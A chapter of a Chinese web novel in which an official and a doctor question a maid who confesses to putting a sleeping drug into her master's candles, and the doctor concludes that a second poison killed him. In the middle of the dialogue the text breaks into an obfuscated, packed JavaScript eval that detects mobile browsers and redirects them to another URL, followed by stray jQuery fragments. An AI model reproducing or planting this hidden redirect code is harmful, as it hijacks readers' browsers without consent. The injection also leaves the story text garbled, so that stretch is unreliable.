6. 第 6 章

作品:《都说了我没下毒

    花红被押下去后,众人惊魂未定,窃窃私语。


    韩夫人两臂依旧被缚着,动弹不得,但也不再挣扎,呆呆望着花红的背影,不知在想什么。


    倒是韩林氏“呸”了一声,忿忿道:“真不是个东西!”


    “高乘,你跟我去审人。”贺昀昭拍了拍高乘肩膀,继而转头看向满院的人,道,“别跪了,都起来,回去该做事的做事,该干活的干活。若无命令,不许靠近柴房半步。”


    柴房正是临时关押着花红的地方。


    “至于韩夫人你——”他又看了眼韩夫人,眼神示意左右两人将她放开,笑道,“正好,借此工夫好好想想,待会儿要如何向我解释。”


    韩夫人垂着头,一言不发。


    见她不吭声,贺昀昭也懒得再废话,转身便欲走。


    “大人!”聂枕月上前一步,拦在他前面。


    猝不及防被挡住,贺昀昭脚步一顿,蹙眉看向她:“今日我脚底下是埋了炸药还是怎的,一个两个的都拦什么?让开。”


    “大人,让我陪您一同去见花红吧。”聂枕月一动不动,盯着他的双眸,清声道。


    “什么?”贺昀昭神色莫名,好笑道,“弭劫司聘的是大夫,不是判官。怎么,你拷问断案的本事也比其他人强?”


    说完,他不耐道:“我再说一遍,让开。”


    聂枕月心知自己的要求唐突,但她一定要当面问清楚,若当真是花红毒杀了韩中丞,必然知晓毒药从何而来。


    两年浮沉,她早已知晓何为命不济,运难改。


    若上天再次眷顾,哪怕涓滴,哪怕微尘,只要有一点机会,她也绝不会放过。


    聂枕月轻呼一口气,坚持道:“花红有求于我,若是见大人同我一起,说不准会因为心系妹妹,便知无不言言无不尽。”


    贺昀昭盯着她,不语。


    高乘凑上来,叹了口气,劝道:“阿月姑娘,你还是回去吧。问审并非易事,说不准还要动刀见血的,你……”


    “我从来就不怕见血。”聂枕月打断他,重复道,“我是大夫,我不怕见血。”


    “你……”


    “我倒是觉得可以。”许久没有动静的景殊玉突然出声道。


    他走到三人面前,转向贺昀昭,笑道:“贺兄,我觉得阿月大夫言之有理,她可算得上是那侍女的恩人,或许人家就只对她说实话呢。”


    “算了,”贺昀昭瞥她一眼,冷哼道,“要跟着你便跟着,但别怪我没提醒你……”


    他突然弯腰凑近,抬手在脖颈上比划一下,压低声音道:“若是听到了什么不该听到的,小心你连自己怎么死的都不知道。”


    “……”


    见聂枕月面无表情,他“啧”了一声,直起身来,掠过她身侧走了。


    聂枕月拉了高乘一把:“走,还不跟上。”


    *


    屋内昏暗,空气沉闷,阳光透过窗棂缝隙投射进来,尘灰在光束中如轻纱般漂浮。几个玄衣侍卫垂身负手站在屋角,四周寂静。


    花红双手被绳索缚住,垂着头,盯着灰石板地上的霉斑,叹了口气。


    门突然开了,阳光霎时涌入。


    她愣愣抬头,却因突如其来的强光眯了眯眼,慢慢睁开——


    一覆面纱的白衣女子站在门外,身后日光倾洒,上自青丝下至裙裾,周身朦朦胧胧浸在暖光中,透着淡淡光晕。


    那身影在她视野中轻轻晃动,愈来愈大,愈来愈大……直到她恍惚听见一声:


    “花红?”


    聂枕月走进屋内,看见花红盯着自己愣神,便唤了一声,这才见她瞳孔一缩,猛地回过神来。


    贺昀昭抱着臂倚在门框上,盯着聂枕月,蹙眉不言。


    方才她突然问能否让她来问讯花红,原本他想也未想便要拒绝,但嘲讽的话即将脱口而出的一瞬间,他突然改了主意。


    让她问也不是不行,正好借此机会,看看她葫芦里究竟卖的是什么药。


    即便再怎么掩饰,当下问出口的问题,一定是她最关心也最想知晓的。


    这番问话,定能透出她这幅伪装下的几分真心。


    聂枕月蹲下身,同花红平视,开口道:“放心,我已写好药方嘱咐他们煎药了,你妹妹会平安无恙的。”


    听到“平安无恙”四个字,花红的眼眶瞬间红了。她用力撑起身子,缚在一起的双手抵在地上,欲挪动双腿,俯身磕头。


    聂枕月忙抬手拦住她。


    花红低声道:“大夫大恩大德,花红没齿难忘。如今花红已是戴罪之身,难以再回报您。只求若老天有眼的话,保佑您余生平安顺遂,长命百岁。待花红转世投胎再找到您,衔草接环,偿还救命之恩。”


    说完,她深深低下头。


    “究竟是怎么回事?”聂枕月叹了口气,“人当真是你杀的?”


    花红抬起头,眼神动了动,突然开口,声音发涩:“奴婢只是……奴婢没想杀老爷,不知道为什么会……这是个意外。”


    “意外?”贺昀昭出声打断,笑声讽刺,“杀过人的人,事后都称是意外、是失误,声称什么自己醉后失神,怒极失智,好似有了这些由头便能安心不少,轻松抹去一切罪行,连从心底都信了自己还是干干净净清清白白。可若是如此——”


    他盯着花红,语气冷了下来:“那意外丢掉的命谁来偿还?你吗?”


    花红慌乱摇头,可双手被握在聂枕月手中,无法跪下磕头,只好惊声道:“大人明鉴,奴婢并非为自己开脱!可奴婢原本只想下些毒让老爷身体不适,绝不是想要老爷的命!按理说分明是不会致人死亡的,奴婢也不知出了什么差错,最后竟……竟……”


    “那你为何要下毒?”贺昀昭追问。


    “奴婢的妹妹柳绿自小长病,家里没钱治,爹娘又觉得死不了,便一直耽搁着。后来奴婢和柳绿来了韩府,原以为有钱治病了,但那点儿薪金哪儿够啊……”花红苦涩笑道。


    “奴婢只好去求老爷,求他宽限奴婢支出几年薪俸。但老爷他好似烦得很,只丢下一个‘滚’字……”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15021431|162191||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “然后你就想到去给韩中丞下毒?”贺昀昭冷声道,“把他毒晕,然后你去偷钱?”


    花红一惊,赶紧摇头:“奴婢哪儿敢偷钱!”


    贺昀昭莫名其妙:“那你毒他干嘛?”


    花红声音低了下去:“奴婢本想用一点点毒,让老爷身体不适,日日昏睡。如此一来,他一定会命人去抓药。只要奴婢自荐,去药房帮老爷买药,说不准能有机会,偷偷扣下余钱,给柳绿治病……”


    “你就不怕郎中瞧出不对劲儿?”贺昀昭摇摇头,“再者说,即便查不出,买药之事也轮不到你头上,更别说余钱了。”


    花红眼泪唰地掉下来了,再开口时声音颤抖:“奴婢没想过这些……柳绿的病拖不得了,奴婢走投无路。”


    “你下的是什么毒?又是如何下的?”聂枕月思忖片刻,突然问道。


    “奴婢……奴婢也不知,”花红愣怔,“那药是药房里最便宜的,是淡黄色的药粉,也没什么味儿……郎中说,这种药不会致死,至多使人头晕昏沉,较平日里更觉疲乏嗜睡。”


    “老爷的饭菜平日里有人试毒,奴婢也不是厨房里的人,不可能通过饭菜下毒。所以只想到一个办法。”


    她垂下头,低声道:


    “奴婢把毒,熔进了老爷卧房的蜡烛中。”


    贺昀昭一愣,猛地回想起来,昨夜尸体旁的桌案上,那截燃尽的红烛。


    难怪在屋内未发现异常,原来罪证已经同余烟一起,消散在空气中了。


    贺昀昭冷笑一声,又问:“那你是什么时候下的毒?看你妹妹今日这模样,这法子看来是没奏效啊。”


    “奴婢上月初第一次换的蜡烛,如今算来已有一月多了。”花红答道,“后来老爷的确常常昏睡,可奴婢左等右等,也没等到老爷派人抓药。再后来,就……”


    贺昀昭了然,看向聂枕月,意味不明地笑了声:“竟还真让你说中了,中毒已有月余。”


    “不对。”聂枕月突然出声道。


    她站起来,看向贺昀昭:“不对,大人。我们恐怕搞错了。”


    “什么不对?”


    “真凶,另有其人。”


    贺昀昭盯着她的眼睛,挑了挑眉:“你可清楚自己在说什么?”


    “清楚得很。”聂枕月深吸一口气,“若依她所说,那药乃是‘昏离散’,的确只会使人昏睡,毒性绝不会致死。”


    身中昏离散者,除昏睡症状,与平常无异。


    别说是花红加在蜡烛中那些,即便是几公斤加进去,也不会使人吐血身亡。


    难怪,韩中丞虽与突厥使者同一症状,血中积毒却有月余之久。


    原来并非那毒发挥毒效的时长不同,而是压根就是两种不同的毒。


    如此说来,便只有一种可能了。


    聂枕月平静迎上贺昀昭的目光:“韩中丞体内,分别中了两种毒。”


    “一种,是花红下的‘昏离散’,而另一种——”她一顿,冷声道:


    “才是真正将中丞大人置于死地的毒。”